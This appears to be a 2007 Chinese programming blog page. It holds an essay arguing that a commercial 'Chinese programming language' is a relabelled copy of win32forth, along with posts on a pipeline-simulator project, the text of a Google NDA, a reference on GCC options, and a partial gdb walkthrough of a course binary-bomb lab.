          “我们曾经因为闭关锁国错过了工业革命的巨轮,也曾忙于阶级斗争,而错过战后新技术发展的浪潮。如今,我们有了完全自主知识产权的计算机语言,其核心技术无可挑剔,且优势日益明显,我们不能再错过最好的发展时机。汉语编程是民族的,是国家的,中国这个有着5000年深远文化的泱泱大国,理应把它好好利用起来,发展和振兴我国民族产业,为中国人民所熟知和使用。”
          徽剑在收集到的另外的资料还有这样报道:
          “近日,用汉语编程实现的数据库开发环境将通过江苏省科技厅的验收。按照进程,汉语程序设计语言数据库开发环境项目完成后一年,项目承担方——南京汉语编程有限公司将以汉语编程数据库教育版为推广重点并进行其他工程开发。项目完成后两年,汉语编程数据库标准版将以OEM方式与国内PC制造商捆绑销售。项目完成后三年,将推出汉语编程数据库企业版参与政府、企业、部队信息化建设,部分替代进口产品。江苏省科技厅将对该项目投资三百万元。同样看好汉语编程的还有重庆市科委,他们的预期投资是上千万。汉语编程作为重大科技发明发现正在申请重庆市的国家级项目。重庆药监局正在应用汉语编程开发的数据库实现对所有下属药店的监管。目前这个项目完成了大部分,6月底将最后完工。”
          当然徽剑在报道中也找到了不同的声音:“从2001到2002的两年间,北京市科委对汉语编程项目进行了5次评审。评审的结果是,超过50%的专家并不认可汉语编程的可行性,元易达没有能在北京市科委立项。元易达于是坚持“农村包围城市”的市场开发路线。当年对北京元易达公司进行评审的时候,原中国科学院计算机软件研究所研究院员仲萃豪这样评价,“用汉语编程语言开发数据库,这条路是相当艰巨的。汉语编程现在还只是一个小玩意。”
          看完这些,有人会问,到底这个汉语编程是怎么回事?到底有多大价值?对未来的发展有如何贡献?那么好,下面就来分析。

    二、汉语编程其实是一个大骗局
          我们知道一个骗局“汉芯事件”, 2003年2月,在摩托罗拉公司做测试的工程师陈进,将一片从美国买来的MOTO-free scale 56800芯片,雇请民工磨掉原有标志,然后加上自己的“标识”,变成了所谓“完全拥有自主知识产权”的“汉芯一号”,申请了多项专利,并借此当上了上海交大微电子学院院长、博导以及“长江学者”。
          汉芯事件一大特点就是拿一块别人的芯片,简单修改一下,然后包装成自己的成果。这种如果是商业上,只要不侵犯别人权益也就无可厚非。但是作为科技开发就不同,讲究的是原创和事实。我们来对比下汉芯和汉语编程,我们会发现他们有惊人的易曲同工之妙。
          报道这样说:“汉语程序语言是在1993年由北京百乐航天应用技术公司汉语工控部的沈志斌发布的,最初为PC1.0版,是一个16位版本,只能在MS-DOS环境下运行。2000年,沈志斌组建了北京元易达公司,专门从事汉语编程的产品开发。经过近十年的发展,汉语程序语言目前最新的版本为2.03,能够在WINDOWS9X/NT环境下运行。”
          一开始的时候,徽剑也没明白这到底是什么语言,还以为这真是汉语编程的原创,只是觉得有些别扭,一来是觉得“汉语编程”的软件经过这么多年的发展,版本一直不变,是否让人难以理解?而且其开发界面极其难看,用反汇编软件居然发现汉编编译器主程序文件居然使用的是微软的VC运行库,这里让人极其不解,既然汉语编程都到了可以汉语汇编的程度,为什么编译器还要用VC来开发?
          最近在铁血社区看到一篇文章,才完全证实了徽剑的猜测。
          从词典看某“汉语编程”与Forth语言http://bbs.tiexue.net/post_2304429_1.html看完了文章上面的图片对比,相信只要有编程基础的人士都可以明白,这完全是彻头彻尾的剽窃。一个把开源代码复制过来,加以简单修改,然后包装成自己的原创。
          这里很抱歉一开始的时候,徽剑对于这种叫Forth语言确实孤陋寡闻,徽剑正想自己动手比较的时候,有一位网友做了好事,先比较了下:原帖链接(http://www.xycq.net/forum/thread-152078-1-1.html),作者来个分析:“汉语编程目前能够下载到的版本为2.03.1920,由于只使用一个版本的汉语编程,后面的描述中就省掉版本了。在铁血网中的帖子有一个简单的比较,用的是一个叫win32forth的forth实现,在其主页Download's中可以得到两个不同的版本,一个是4.2build671,另一个是6.12.00是目前最新的稳定版。在铁血帖中提到过wincon.dll这个文件,我也是从这个文件入手的。”
          于是该网友用VC6中的Depends查看三了个wincon.dll的结果。发现入口非常相似,也就是有可能是差不多的文件。于是该网友考虑了将三个DLL进行互换。
          “将三个dll文件复制到一起,先将三个文件复制到win32forth4.2中,分别使用三个dll后启动WIN32FOR.EXE的结果发现“汉语编程的wincon.dll文件能够被win32forth4.2正常使用,而且读出来的数值与汉语编程环境下一致,都是10895。由于接口改变,4.2和汉语编程的wincon.dll都不能在6.12中使用了。而win32forth4.2版与6.12版的wincon.dll文件都能够在汉语编程环境下使用,而且读出的值都与原环境下一致。综上情况,汉语编程与win32forth在wincon.dll文件上保持了相当好的兼容性,如果说二者一点关系都没有,形成这种结果的几率不知道能有多大。”
          更为搞笑的是,当该网友试着将汉语编程程序和win32forth4.2目录下的这个同名文件WINCON.DLL删除时居然发现汉语编程与4.2的提示基本一致(徽剑测试时除了标题的两个字母大小写不同外其他一致)。该网友不禁问:“这也是巧合吗?一个号称汉语的居然冒出一句英文的提示而且还跟别人的如此相似,而且是"Missing procedures!"这种计算机程序中少见的用词以及少见的标题栏中用标点。”
          “将汉语编程的win32chp.dll文件复制到win32forth4.2文件夹下并命名为win32for.img,当然之前要备份好原来的win32for.img文件;将汉语编程的ckernel.ovl复制到win32forth4.2文件夹下。然后找一个16进制编辑器,打开win32for.img文件,从偏移4(也就是第5个字节)开始,连续4个字节修改为D5 11 92 01,保存。双击win32for.exe,”
          徽剑看到的是居然看到的是带着win32forth 4.2图标的汉语编程。
          最后该网友总结到:“说到底,汉语编程应该是这么来的,由于win32forth的源码是公开的,汉语编程利用其源代码将win32forth字样抹去,并且修改了识别词库文件的标志(将win32forth的D5 11 92 01修改为DA B7 6E EF),编译出可执行程序。然后又根据需要,汉化及添加、修改了词库形成了现在用汉字和一堆全角符号编程的汉语编程语言。可以说汉语编程为了掩盖其与win32forth的关系,将符号修改的很彻底,也不管那一堆全角符号用起来多么古怪。”
          “如果继续研究下去,我想还会掌握更多的证据,甚至有希望根据wincon.dll和winapi词数找到汉语编程使用的那个版本的win32forth,不过目前我觉得这些证据已经足够了,已经不需要再浪费时间了。”
          最后作者得出结论:
          “其实汉语编程就是win32forth的一个修改版,实现的功能基本上都是win32forth实现的。把这个东西吹嘘为民族的希望,汉语编程需要带的ckernel.ovl和win32forth 4.2需要带的kernel.bin文件都是词库(其实就是编译过一次的字节码)的要求,比如要是用汉语编程的编辑器winedit.dll替换成win32for.img的话就不需要带ckernel.ovl了。注意观察一下汉语编程的各个程序,都是由同名的一个exe文件和一个dll文件组成的,那个dll文件并不是真正的win32格式的dll文件,而是与win32forth 4.2的img仅差一个标志的一种格式;而那个exe文件其实都是可以互换使用的,当然跟win32forth 4.2互换都没有问题。”
          看到没有,一个骗子。一个跟汉芯一样的骗子。

    三.汇编都是英文的,其他变成汉语有什么用
          下面来介绍下语言的基础,(这部分主要是给对编程不是很了解的人士看的,有些地方不严谨,但是只要说明意思就可以了)
          我们先看语言基础,我们平时看到的电脑每做的一次动作,一个步骤,都是按照以经用计算机语言编好的程序来执行的,程序是计算机要执行的指令的集合,而程序全部都是用我们所掌握的语言来编写的。所以人们要控制计算机一定要通过计算机语言向计算机发出命令。计算机语言的种类非常的多,总的来说可以分成机器语言,汇编语言,高级语言三大类。
          计算机所能识别的语言只有机器语言,即由0和1构成的代码。但通常人们编程时,不采用机器语言,因为它非常难于记忆和识别。目前通用的编程语言有两种形式:汇编语言和高级语言。
          作为机器语言,其核心是如何控制内部运算,对于不同的CPU架构体系,其机器语言也会不同。表现出来的就是指令集,CPU依靠指令来计算和控制系统,每款CPU在设计时就规定了一系列与其硬件电路相配合的指令系统。
          汇编语言的实质和机器语言是相同的,只不过指令采用了英文缩写的标识符,更容易识别和记忆。使用汇编语言编写的程序,机器不能直接识别,要由一种程序将汇编语言翻译成机器语言,这种起翻译作用的程序叫汇编程序,由于汇编语言只是机器语言的符号化,虽说相对简单了,但是还是得要求人们学习相应的内部结构,对于复杂的内部结构,有很大一部分人还是无从着手的.所以就出现了高级语言,当程序员用高级语言指令写完源程序后,只需用编译器编译就可运行了.此时编译器所做的工作就是把高级语言指令翻译成汇编语言(机器语言。.
          对于软件开发者来说,他需要考虑的是CPU的指令集,也就是CUP指令集的汇编指令,只有针对这些指令才能开发出相应的程序来,举例来说,你在基于英特尔CUP的汇编指令上开发的程序,就不能在苹果电脑上运行。而这些汇编指令集都是CUP等硬件厂商开发提供的,目前我们知道CUP的大部分厂商都是海外公司,他们的指令集(都是汇编语言写成)都是英文的。
          高级语言是目前绝大多数编程者的选择。和汇编语言相比,它不但将许多相关的机器指令合成为单条指令,并且去掉了与具体操作有关但与完成工作无关的细节,这样就大大简化了程序中的指令。高级语言如目前流行的VB、VC、FoxPro、Delphi等,高级语言所编制的程序不能直接被计算机识别,必须经过转换才能被执行。
          通常而言,人们写程序有两种方式,
          一是直接用汇编语言写,然后翻译成机器语言。
          二是用高级语言写,然后编译器翻译成汇编,最后翻译成机器语言。
          也就是说,程序语言的编写分为三个层次。
          第一层次(最低层次)是机器语言  其语言都是01.
          第二层次是汇编语言(使用不同的CUP指令集)其语言都是英文
          第三层次是高级语言 
          我们会发现一点,不过你采用什么语言编写,最终的都是要编译成汇编语言然后到机器语言,最终都是要调用CUP指令集。(这里需要指出的是,任何汇编指令集,都是硬件开发厂商开发的,而不是什么程序语言公司开发的。)就目前而言,这块都是英语,目前国内有人推出的汉语汇编编程,徽剑觉得啼笑皆非,就汇编语言而言,是直接对CPU等硬件操作的,必须依赖各种指令集,而这些厂商,有几个提供汉语指令集?
          在没有硬件厂商提供的汉语指令集前提下,所谓的汉语汇编是不是“鸡对鸭讲”?这么一来是不是要有人把英文指令集翻译成汉语?那跟汉化有什么区别?
          这样一来任何人都可以开发出一套汉语汇编来,很简单,找一套汇编编译器,增加一个翻译过程,当输入汉语时,将其翻译成对应的英文汇编程序,然后再翻译成机器语言,或者直接采用替换方式,当输入英文的时候,将其翻译成(英文对应)的机器语言。
          任何汇编指令集,都是硬件开发厂商开发的,而不是什么程序语言公司开发的。让程序开发者利用汇编语言来操作他们的硬件。除非硬件厂商提供直接针对汉语的指令集,否则任何所谓的汉语汇编都是,翻译器加汇编编译器。
          也就是说,在汇编领域,目前并未有任何厂商提供汉语指令的指令集,那么意味我们所谓的“先进的汉语汇编”就不是什么自主开发的东西。那么这里有一点就可以明了,就是目前的真正的汇编都是英文的。汉语汇编其实只是“假汇编”。

    四、其实汉语编程很好创造出来,但是却没什么用
          前面谈到的那个“汉编”事实上是个骗子,下面徽剑要说说不是骗子的汉语编程,以易语言为例。
          易语言是曾经和朱崇君一起开发CCED的吴涛于 2000年初开始开发的,这是一款Windows下全中文可视化编程语言,最新版本为 4.0。易语言自发布后,以其类似于VB的风格和彻底中文化的特点赢得了不少电脑爱好者的青睐,
          易语言的特点就是用汉语来写,原来编写程序输入的是英文,现在改成输入汉字了,我们来看段易语言程序:
    引入 apr;
    公开 类 启动类
    {
     公开 静态 启动()
     {
      整数 数量;
      控制台.输出行("请输入将要生成的随机数个数:");
      数量= 控制台.输入整数();
      随机数集合.显示(数量);
      随机数集合.显示();
     }
    }
    公开 类 随机数集合
    {
     公开 静态 显示(整数 生成个数=10)
      字节集 临时字节集;
      整数 I,J;
      内存池 局内存池 = 创建 内存池;
      控制台.输出行("下面开始生成"+生成个数.到文本+"个随机数====>");
      计次循环(生成个数,J)
      { 
       临时字节集=随机数.生成随机数(1,局内存池);
       I=字节集类.到整数(临时字节集);
       控制台.输出行(整数类.到文本(I));
      }
      控制台.输出行("<========随机数已生成");
      控制台.输入文本();//暂停屏幕滚动用  
     }
    }
          事实上,徽剑看不出这里有什么优势,懂中文的人似乎也没几个能明白。有人说易语言似乎对于英语不好的人有帮助,其实很荒谬,因为如果但是写程序部分所使用的英文数量是很少的,常用的也就几十个英文单词,一般情况下也就几百个英文单词。也就是说,如果仅仅考虑到“写程序”这块而言,会个三五百单词足够,这点数量的单词相信没有几个人学不会。
          我们必须看到而真正出问题的在于“接口”上面,前面说了,目前的操作系统、几乎所有的各种应用程序都是英文编写的,所谓的中文版只是在用户界面做了汉化,这样一来,用汉语编写的程序如果要在操作系统上运行、或者与其他程序交换数据,不可避免的遇到英文代码,特别是操作系统,比如windows下的API等而这些接口又是成千上万,如果没有很好的英文是很头疼的。
          更为甚者,这些接口的文档大多都是英文编写,没有好的英文水平是阅读不了的。也就是说如果你想成为程序高手,英文是必须解决的拦路虎。也许有一天有了全中文的硬件指令集、全中文代码的操作系统,那时候我们就可以说用中文编程了。就目前而言对于专业程序员而言,汉语作为程序设计的描述语言并没有什么实际意义。
          如果仅仅是考虑普通用户不懂英文,不会“写程序”,那么徽剑提出一个更为简单的方法:“汉化”,我们可以分为这么几步走:
          第一步,对汇编编程器进行汉化,使其在输入汉语汇编指令时自动对应相应的机器语言。
          第二步,对诸如C、C++等编译器进行汉化,将其内部对应的英文指令替换成汉语,这样一来在输入汉语C、C++程序时可以直接编译。
          第三步,编译C、C++等的教材,将其中英文描述换成规范的汉语程序词汇。同时大量翻译各种英文指令书籍,便于中文编程人员查找。
          第四步,创立汉语操作系统,找一套开放源码的LINUX,修改其编译器,将编译器输入对应的英文换成汉语,然后将全部源代码翻译成汉语,再用编译器编译一下。当然个别地方要考虑到汉语的编码特点修正一下。徽剑计算,依照几十名翻译人员,差不多一年可以完成,看看一套全面的汉语代码操作系统出来了,
          看到没有,就这么几步,连强大的C、C++等都成了汉语编程语言了。如果想傻瓜点,也可以啊,跟微软合作、跟SUN合作,可以把.net、JAVA全部汉化了,想来他们也没有什么反对的。
          有人说:“汉语编程的优点概括为以下几个方面:首先是安全系数高。汉语编程是我们用汉语实现的人机对话,我们掌握所有的源代码,目前尚未发展能与之对抗的病毒,非常有利于保证计算机内的机密安全。”
          这纯粹胡扯,目前的计算机语言,特别是诸如C、C++语言本身都是免费的、开放的,任何人都可以学习、使用。就像相对论不是中国人发现的,但是我们一样用,这只是一种知识而已,如何在这种知识上开发成果来,那是另外一回事。一种知识是谈不上安全的。我们并不因为飞机是外国人发明的,我们自己造飞机就泄露了什么机密。假如我们完全用自己的汉语编程,难道国外特工就不会学吗?难道国外的信息部队就不会针对这个开发病毒吗?而且还是一开一个准,因为你是单独的,与众不同,开发针对你的不用担心自己受影响。
          有人说:“汉语编程是效率高。汉语编程的原理是建立在汉字的本身优势上,汉字看起来很复杂,但表达的意义却很丰富。且在键盘上输入汉字远比输入英文快,用汉语编程写出的程序远比其他语言篇幅要短很多。”
          这里同样也是胡说,请问一下,当你在键盘上输入“if”快还是“如果”快,是输入“end”快还是“结束”快?要知道在编程的英语不是日常的英语,完全可以说是一种新的人类语言,在键盘上输入汉字只是在总的信息量上比英文多,而不是单位数量汉字敲击键盘的次数比英文少。徽剑做过简单测试,发现以C++为例,如果把C++翻译成汉语输入,单位时间内的击键次数是英文的很多倍。
          有人说:“汉语编程是简单易学,便于普及。只要认识汉字,上到九十九下到刚会走,都可以学习和使用。”
          这更是胡说八道,如同前面分析的那样,用汉语“写程序”是方便了,可是还有那么多英文接口、英文文档怎么办?再说了,有必要来个全民编程吗?美国普通人也没几个会编程的。而且我们看看上面的易语言代码,光是认识汉字的人明白吗?
          我们还是看一段评论:“从理论上讲,汉语编程应当是一种以汉语为描述语言的计算机程序设计语言,在程序设计中体现了汉语语法和逻辑,符合中国人的语言习惯和思维方式,而不是英文程序设计语言的简单汉化,或者是简单地营造一个汉语编程环境。很遗憾的是,目前我们所能见到的汉语编程语言,就只不过停留这个层次上,并没有取得任何实质性的突破。事实上,从2001年到2002年间,北京市科委对汉语编程项目进行了5次评审,评审的结果是超过50%的专家并不认可汉语编程的可行性。”

    五、中国人编程难的问题和出路在那里
          下面我们看看中国人编程难难在那里?
          徽剑以一个拿到(说混到也可以)的系统分析员证书的编程者的亲身体验,中国人编程难难在难在接口语言和技术资料语言上,而不是“写程序”的语言上。学过编程的朋友都知道,程序中绝大部分都是逻辑和数学表达式,与采用英语还是汉语来描述的关系实质并不大。
          就程序而言,不管学习编程的是谁,是中国人,还是美国人,有一个共同的难点。那就是计算机语言不是我们人类日常交流的语言,越是效率高的编程语言,越是离人们日常生活交流语言较远。这点上是共同的。
          而中国人真正不利之处就是如果英文不熟练,无法阅读技术文档(诸如C++、Java中上万个用英文的库函数也不是需要编程者都得记住的东西),无法理解大量的接口等英文信息。而这一点就不是简单用汉语编程那么简单了。世界上最著名的软件公司,大多是母语为英语的国家。印度现在之所以成为世界第二软件大国,因其母语是英语,这样一来在阅读和学习过程中接触相关技术就没有什么障碍。
          依照我们目前的发展条件,短期内不大可能出现诸如硬件、操作系统等的全国产化,这样一来如果我们还是热衷于所谓的用“汉语写”程序的话,就未免搞笑了。其实我们来看看编程的发展历史:
          最早期,直接对硬件编程,使用机器语言和汇编语言。
          后来,出现高级语言,在一定程度便于人们的理解了。
          再后来,出现面向对象的程序开发,使得程序开发进一步容易理解和实施。
          现在流行的是面向对象的可视化程序开发,每个语言本身都是“不可视”的,仅仅是语言而已;所谓“可视化”不过是编程工具所提供的功能,让你在编窗口等一些“看到着”的程序时可以使用拖拽等可视化操作。如同C++是门语言,而vc++只是一个可视化编程工具,vc++实现了C++的可视化编程。
          有过较长期编程经验的老程序员都会有这演感受,在十年前写C++语言程序是很累的(那时国内还很少大家都是用C较多),现在用C++的话,可以用VS2005多方便啊。诸如.NET代码生成器有助于快速应用程序开发。
          现在甚至不用写代码就可以生成很多小点的程序,这在十年前、二十年前是不可想象的,同样再过十年,不写代码生成很多今天看来是很大的程序也不是难事。所以徽剑以为在未来,程序员编程“写”的代码数量将会越来越少,程序员更多的考虑的是程序的结构和性能,然后动动鼠标,输入几个数据,一套程序就编好了。
          在这种情况下,更多的内容被封装了,到那时,才可以说不懂英文也照样编程。这才是发展的趋势。
          至于底层部分,那就只有等到国产的硬件出来了,推出大量中文指令集,才有实现真正汉语底层开发的可能。

    6/26/2007

    PipeLineV2.1

           经过两个星期断断续续的垒程序,PipeLineV2.1总算完工了.大的BUG基本上都已经剔除掉了,可以顺利通过Load/use hazard & ret & Mispredict.小BUG还没有都揪出来了.主要的是M$无法调用MemoryData.Columns.Clear();造成重新开文件的时候DataColums没有清空,看能不能找其他办法解决掉.比起V1.0版本界面代码重写了,主要是被批评V1.0太过于花哨.剩下的几天时间里再把代码优化一下,除除虫,美化界面.现在的已经太过于朴素.代码太分散了,过段时间再贴,先贴个界面出来. 
     
    5/10/2007

    The Google's NDA

    Non-Disclosure Agreement
    Revision 0727.2005
    Google Inc.
          This Non-Disclosure Agreement ("Agreement") is made and entered into between Google Inc., for itself and its ubsidiaries and affiliates ("Google"), and "Participant" identified below, individually referred to as a "Party" and collectively referred to as the "Parties". The Parties wish to exchange Confidential Information (as defined below in Section 2) for the following purpose(s): evaluating a potential employment opportunity with Google (the "Purpose"). The Parties have entered into this Agreement to assure that the confidentiality of such information is maintained, in accordance with the following terms of this Agreement:
          1. The Effective Date of this Agreement is _____________________.
          2. Google may disclose certain information under this Agreement it considers confidential and/or proprietary concerning Google's business and/or technology ("Confidential Information") including, but not limited to, all tangible, intangible, visual, electronic, present, or future information such as: (a) trade secrets; (b) financial information, including pricing; (c) technical information, including research, development, procedures, algorithms, data, designs, and know-how; (d) business information, including operations, planning, marketing interests, and products; (e) the terms of any agreement and the discussions, negotiations and proposals related to any agreement; and (f) information acquired during any facilities tours.
          3. Participant will use the Confidential Information only for the Purpose described above. Participant will use the same degree of care, but no less than a reasonable degree of care, as Participant uses with respect to its own similar information to protect the Confidential Information and to prevent: (a) any use of Confidential Information not authorized in this Agreement; and/or (b) communication of Confidential Information to any unauthorized third party. Confidential Information may only be disseminated to employees, directors, agents or third party contractors of Participant with a need to know and who have first signed an agreement with Google containing confidentiality provisions substantially similar to those set forth herein ("Authorized Personnel"). Participant shall ensure compliance by Authorized Personnel with the terms and conditions of this Agreement, and shall be responsible for any breach of such terms and conditions by any Authorized Personnel.
          4. Participant agrees not to do the following, except with the advanced review and written approval of Google: (a) issue or release any articles, advertising, publicity or other matter relating to this Agreement (including the fact that a meeting or discussion has taken place between the parties) or mentioning or implying the name of Google; (b) make copies of documents containing Confidential Information; or (c) reverse engineer, disassemble, decompile, translate, or attempt to discover any prototypes, software, algorithms, or underlying ideas which embody Google's Confidential Information.
          5. This Agreement imposes no obligation upon Participant with respect to Confidential Information that: (a) was known to Participant before receipt from Google, as evidenced by Participant's files and records in existence before the time of disclosure; (b) is or becomes publicly available through no fault of Participant; (c) is rightfully received by Participant from a third party without a duty of confidentiality; (d) is disclosed by Google to a third party without a duty of confidentiality on the third party; or (e) is disclosed by Participant with Google's prior written approval. If Confidential Information is required to be produced by law, court order, or other governmental demand ("Process"), Participant must immediately notify Google of that obligation. Participant will not produce or disclose Confidential Information in response to such Process unless Google has (i) requested protection from the court or other legal or governmental authority requiring the Process and such request has been denied, or (ii) consented in writing to the production or disclosure of the Confidential Information in response to the Process. Nothing in this Agreement shall prohibit or limit either party's use or disclosure of the U.S. Federal income tax treatment and U.S. Federal income tax structure of any transaction contemplated by this Agreement and all materials of any kind (including opinions or other tax analyses) that are provided to it relating to such tax treatment or tax structure, except where confidentiality is necessary to comply with applicable federal or state securities laws.
          6. ALL CONFIDENTIAL INFORMATION CONTAINED HEREIN IS PROVIDED "AS IS". NO OTHER WARRANTIES ARE MADE,
    EXPRESS OR IMPLIED.
          7. Google does not wish to receive any confidential information from Participant, and Google assumes no obligation, either express or implied, for any information disclosed by Participant.
          8. This Agreement shall remain in effect until such time as all Confidential Information of Google disclosed hereunder becomes publicly known and made generally available through no action or inaction of Participant.
          9. Participant, upon Google's written request, will promptly return all Confidential Information received from Google, together with all copies, or certify in writing that all such Confidential Information and copies thereof have been destroyed.
          10. This Agreement imposes no obligation on Google to exchange Confidential Information, to proceed with the business opportunity, or to purchase, sell, license, transfer or otherwise make use of any technology, services or products.
          11. No Party acquires any intellectual property rights under this Agreement (including but not limited to patent, copyright, and trademark rights) except the limited rights necessary to carry out the purposes as set forth in this Agreement.
          12. Participant acknowledges that damages for improper disclosure of Confidential Information may be irreparable; therefore, Google is entitled to seek equitable relief, including injunction and preliminary injunction, in addition to all other remedies.
          13. This Agreement does not create any agency or partnership relationship. This Agreement will not be assignable or transferable by Participant without the prior written consent of Google.
          14. This constitutes the entire agreement between the parties with respect to the subject matter hereof, and supersedes any prior oral or written agreements. All additions or modifications to this Agreement must be made in writing and must be signed by all Parties. Any failure to enforce a provision of this Agreement shall not constitute a waiver thereof or of any other provision.
          15. This Agreement may be executed in two or more identical counterparts, each of which shall be deemed to be an original and all of which taken together shall be deemed to constitute the agreement when a duly authorized representative of each party has signed the counterpart.
          16. This Agreement shall be governed by the laws of the State of California, without reference to conflict of laws principles. The exclusive venue for any dispute relating to this Agreement shall be in the state or federal courts within Santa Clara County, California.
    4/29/2007

    GCC参数详解(转载)

    [声明]
    这篇文档是我的关于gcc参数的笔记,我很怀念dos年代我用小本子,纪录所有的dos命令的参数.哈哈,下面的东西可能也不是很全面,我参考了很多的书,和gcc的帮助.不全的原因是,有可能我还没有看到这个参数,另一种原因是,我可能还不会用它不过,我会慢慢的补齐的.哈哈
    如果你要转在本文章请保留我的email(pianopan@beeship.com)和文章的全面性.
    [介绍]
    gcc and g++分别是gnu的c & c++编译器
    gcc/g++在执行编译工作的时候,总共需要4步
    1.预处理,生成.i的文件
    2.将预处理后的文件不转换成汇编语言,生成文件.s
    3.有汇编变为目标代码(机器代码)生成.o的文件
    4.连接目标代码,生成可执行程序
    [参数详解]
    -x language filename
       设定文件所使用的语言,使后缀名无效,对以后的多个有效.也就是根据约定C语言的后缀名称是.c的,而C++的后缀名是.C或者.cpp,如果   你很个性,决定你的C代码文件的后缀名是.pig 哈哈,那你就要用这个参数,这个参数对他后面的文件名都起作用,除非到了下一个参数的使用。可以使用的参数吗有下面的这些`c', `objective-c', `c-header', `c++', `cpp-output',`assembler', and `assembler-with-cpp'. 看到英文,应该可以理解的。
       例子用法:
       gcc -x c hello.pig 
    -x none filename
      关掉上一个选项,也就是让gcc根据文件名后缀,自动识别文件类型
      例子用法:
      gcc -x c hello.pig -x none hello2.c 
    -c
      只激活预处理,编译,和汇编,也就是他只把程序做成obj文件
      例子用法:
      gcc -c hello.c
      他将生成.o的obj文件
    -S
      只激活预处理和编译,就是指把文件编译成为汇编代码。
      例子用法
      gcc -S hello.c
      他将生成.s的汇编代码,你可以用文本编辑器察看
    -E
      只激活预处理,这个不生成文件,你需要把它重定向到一个输出文件里面.
      例子用法:
      gcc -E hello.c > pianoapan.txt
      gcc -E hello.c | more
      慢慢看吧,一个hello word 也要与处理成800行的代码
    -o
      制定目标名称,缺省的时候,gcc 编译出来的文件是a.out,很难听,如果你和我有同感,改掉它,哈哈
      例子用法
      gcc -o hello.exe hello.c (哦,windows用习惯了)
      gcc -o hello.asm -S hello.c
    -pipe
      使用管道代替编译中临时文件,在使用非gnu汇编工具的时候,可能有些问题
      gcc -pipe -o hello.exe hello.c
    -ansi
      关闭gnu c中与ansi c不兼容的特性,激活ansi c的专有特性(包括禁止一些asm inline typeof关键字,以及UNIX,vax等预处理宏)
    -fno-asm
      此选项实现ansi选项的功能的一部分,它禁止将asm,inline和typeof用作关键字。
    -fno-strict-prototype
      只对g++起作用,使用这个选项,g++将对不带参数的函数,都认为是没有显式的对参数的个数和类型说明,而不是没有参数.而gcc无论是否使用这个参数,都将对没有带参数的函数,认为城没有显式说明的类型
    -fthis-is-varialble
    -fcond-mismatch
      允许条件表达式的第二和第三参数类型不匹配,表达式的值将为void类型
    -funsigned-char
    -fno-signed-char
    -fsigned-char
    -fno-unsigned-char
      这四个参数是对char类型进行设置,决定将char类型设置成unsigned char(前两个参数)或者 signed char(后两个参数) 
    -include file
      包含某个代码,简单来说,就是便以某个文件,需要另一个文件的时候,就可以用它设定,功能就相当于在代码中使用#include
      例子用法:
      gcc hello.c -include /root/pianopan.h
    -imacros file
      将file文件的宏,扩展到gcc/g++的输入文件,宏定义本身并不出现在输入文件中
    -Dmacro
      相当于C语言中的#define macro
    -Dmacro=defn
      相当于C语言中的#define macro=defn
    -Umacro
      相当于C语言中的#undef macro
    -undef
      取消对任何非标准宏的定义
    -Idir
      在你是用#include"file"的时候,gcc/g++会先在当前目录查找你所制定的头文件,如果没有找到,他回到缺省的头文件目录找,如果使用-I制定了目录,他回先在你所制定的目录查找,然后再按常规的顺序去找.对于#include,gcc/g++会到-I制定的目录查找,查找不到,然后将到系统的缺省的头文件目录查找  
    -I-
    -idirafter dir
      在-I的目录里面查找失败,讲到这个目录里面查找. 
    -iprefix prefix
    -iwithprefix dir
      一般一起使用,当-I的目录查找失败,会到prefix+dir下查找
    -nostdinc
      使编译器不再系统缺省的头文件目录里面找头文件,一般和-I联合使用,明确限定头文件的位置
    -nostdin C++
      规定不在g++指定的标准路经中搜索,但仍在其他路径中搜索,.此选项在创建libg++库使用
    -C
      在预处理的时候,不删除注释信息,一般和-E使用,有时候分析程序,用这个很方便的
    -M
      生成文件关联的信息。包含目标文件所依赖的所有源代码你可以用gcc -M hello.c来测试一下,很简单。
    -MM
      和上面的那个一样,但是它将忽略由#include造成的依赖关系。
    -MD
      和-M相同,但是输出将导入到.d的文件里面
    -MMD
      和-MM相同,但是输出将导入到.d的文件里面
    -Wa,option
      此选项传递option给汇编程序;如果option中间有逗号,就将option分成多个选项,然后传递给会汇编程序
    -Wl.option
      此选项传递option给连接程序;如果option中间有逗号,就将option分成多个选项,然后传递给会连接程序.
    -llibrary
      制定编译的时候使用的库
      例子用法
      gcc -lcurses hello.c
      使用ncurses库编译程序
    -Ldir
      制定编译的时候,搜索库的路径。比如你自己的库,可以用它制定目录,不然编译器将只在标准库的目录找。这个dir就是目录的名称。
    -O0
    -O1
    -O2
    -O3
      编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高  
    -g
      只是编译器,在编译的时候,产生条是信息。
    -gstabs
      此选项以stabs格式声称调试信息,但是不包括gdb调试信息.
    -gstabs+
      此选项以stabs格式声称调试信息,并且包含仅供gdb使用的额外调试信息.
    -ggdb
      此选项将尽可能的生成gdb的可以使用的调试信息.
    [参考资料]
    -Linux/UNIX高级编程
      中科红旗软件技术有限公司编著.清华大学出版社出版
    4/17/2007

    LAB2

    BOMB的前四个STAGE总算OK了,干脆写写自己的解题思路,如有问题,欢迎指正
    以下内容在Kubuntu 6.10上完成
    确保你安装有binutils包
    一,准备工作
    拿到BOMB后第一件事情反汇编出汇编代码
    $objdump -d bomb>>bomb.txt
    设置BOMB权限
    $chmod 755 bomb
    二,开始拆弹
    进入GDB调试
    $gdb bomb
    这时候可以看出8048876:ff d1 call *%ecx这一句为STAGE的调用函数,为了确保BOMB不会在我的机器上爆炸而引起不必要的损失(修机器很麻烦的,哈哈)在这一句后面设置断点
    (gdb)break *0x08048878
    这时候有两个好处。首先从这里我们可以知道%eax内就存着STAGE的返回值,正确为1,错误为0。其次如果你发现返回0了,也就是你输错密码了,炸弹马上就要爆炸了的时候不需要紧急撤离,只需要输入
    (gdb)kill
    就可以结束进程,保证炸弹不会爆炸
    然后在每个STAGE处设置断点,如
    (gdb)break stage1
    (gdb)break stage2
    (gdb)break stage3
    (gdb)break stage4
    然后启动程序,当输入密码时先随便输入一个
    (gdb)run
    当程序在STAGE处停下来的时候找出0xc(%ebp),这个是机器内置的数值,也是每个人炸弹唯一不一样的地方(注意,不同STAGE中的0xc(%ebp)都是不一样的,正确做完一个STAGE再查另一个0xc(%ebp))
    (gdb)pring *(int *)($ebp+0xc)
    三,炸弹详解
    我们令a=STAGE中的0x8(%ebp),也就是你输入的值
    我们令b=STAGE中的0xc(%ebp)
    炸弹一:a=[(8b-11)/6]+1
    炸弹二:将b转为2进制,从前往后当发现第一个1时将后面全填为1,例如b=0101101001011010,那么a=0111111111111111
    炸弹三:a=b(看起来很多,实际上是骗人的)
    炸弹四:
